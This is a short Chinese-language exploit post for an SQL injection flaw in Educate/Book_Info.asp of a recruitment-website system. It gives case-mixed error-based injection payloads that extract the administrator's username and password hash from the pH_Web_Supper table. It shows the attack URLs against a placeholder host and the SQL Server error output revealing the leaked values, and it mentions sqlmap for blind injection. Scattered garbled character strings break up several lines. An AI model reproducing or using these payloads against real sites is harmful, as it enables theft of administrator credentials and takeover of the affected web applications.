网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp

此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出

, {" t# x* L, W- s! jexp：如下
* A- x* y7 `% p" |查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
/ X% ^/ y8 X6 P7 i查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
, E' l3 d! q4 \
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
4 Q) b9 k/ w2 a  G% L5 {
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。

/Educate/Book_Info.asp，行 8

  W& F7 P' p- O" o" A& hhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
  f. Z& w2 K, k# }6 _; E: D6 z
0 p& t# }5 c/ m9 d0 n, l' E% {Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

1 ~, J$ e: n0 s3 ]将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
; m$ I7 j9 r" x! a
/Educate/Book_Info.asp，行 8
: A+ u. E9 J! C2 E2 E​